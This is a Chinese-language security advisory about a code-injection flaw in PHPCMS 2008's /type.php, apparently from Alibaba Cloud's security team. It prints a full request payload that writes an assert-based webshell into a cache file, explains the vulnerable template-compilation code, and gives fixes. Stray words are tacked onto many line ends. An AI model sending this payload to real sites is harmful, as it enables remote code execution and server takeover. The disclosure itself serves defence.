CVE漏洞—PHPCMS2008 /type.php代碼注入高危漏洞預警

摘要:11月4日,阿里雲安全首次捕獲PHPCMS 2008版本的/type.php遠程GetShell 0day利用攻擊,攻擊者能夠利用該漏洞遠程植入webshell,致使文件篡改、數據泄漏、服務器被遠程控制等一系列嚴重問題。建議受影響用戶儘快升級到最新版本修復。php

———————
PHPCMS網站內容管理系統是國內主流CMS系統之一,同時也是一個開源的PHP開發框架。web

PHPCMS最先於2008年推出,最新版已出到v9.6.3,但因爲穩定、靈活、開源的特性,時至今日,PHPCMS2008版本仍被許多網站所使用。shell

漏洞細節安全

當攻擊者向安裝有PHPCMS 2008的網站發送uri爲以下文本的payload服務器

/type.php?template=tag_(){};@unlink(_FILE_);assert($_POST[1]);{//../rss

那麼@unlink(_FILE_);assert($_POST[1]);這句惡意php指令將被寫入網站的/cache_template/rss.tpl.php文件。網絡

漏洞原理框架

該漏洞源於PHPCMS 2008源碼中的/type.php文件。該文件包含以下代碼:函數

if(empty($template)) $template = 'type';
...
include template('phpcms', $template);

這裏template變量是用戶可以經過傳入參數控制的,同時能夠看到該變量以後會被傳入template()方法。而template()方法在/include/global.func.php文件中定義,包含以下代碼:
template_compile($module, $template, $istag);優化

不難看出,這裏會繼續調用/include/template.func.php中的template_compile():網站

function template_compile($module, $template, $istag = 0)
{
    ...
    $compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php';
    $content = ($istag || substr($template, 0, 4) == 'tag_') ? '<?php function _tag_'.$module.'_'.$template.'($data, $number, $rows, $count, $page, $pages, $setting){ global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?>'.template_parse($content, 1).'<?php } ?>' : template_parse($content);
    $strlen = file_put_contents($compiledtplfile, $content);
    ...
}

在這個方法中,template變量同時被用於compiledtplfile變量中文件路徑的生成,和content變量中文件內容的生成。

而前文所述的攻擊payload將template變量被設置爲以下的值
tag_(){};@unlink(_FILE_);assert($_POST[1]);{//../rss

因此在template_compile()方法中,調用file_put_contents()函數時的第一個參數就被寫成了data/cache_template/phpcms_tag_(){};@unlink(_FILE_);assert($_POST[1]);{//../rss.tpl.php,這將被php解析成data/cache_template/rss.tpl.php

最終,@unlink(_FILE_);assert($_POST[1]);將被寫入該文件。

影響範圍

雖然距離PHPCMS2008版本的推出已經10年,但仍有很多網站正在使用PHPCMS2008,包括政府、企業的網站;根據Fofa網絡空間安全搜索引擎的全網精確搜索結果顯示,還有近200個使用PHPCMS2008版本的網站;而若是使用模糊匹配對網站進行識別,匹配結果更達上萬個。

經過利用該漏洞,攻擊者在向路徑可控的文件寫入惡意腳本代碼後,後續將可以向該文件發送webshell指令,在服務器上執行任意代碼,所以該代碼注入漏洞的影響較大。

安全建議

手動修復
臨時解決能夠在/type.php文件中對template變量進行過濾,避免用戶輸入的含有"("、"{"等符號的內容混入,並被當作路徑和腳本內容處理。

但因爲PHPCMS2008版本過舊,用戶應儘可能升級到最新版本的PHPCMS,纔可以更好地保障安全。

安全加固
•雲防火牆已支持對該類漏洞的入侵防護,開啓雲防火牆IPS攔截模式和虛擬補丁功能,用戶即便不自行進行修復,也依然可以進行防護和攔截。
•購買安全管家服務,您將可以在阿里雲安全專家指導下進行安全加固及優化,避免系統受到該漏洞及後續其餘漏洞影響。

本文做者:阿里雲安全團隊悟泛

原文連接 本文爲雲棲社區原創內容,未經容許不得轉載。

相關文章
相關標籤/搜索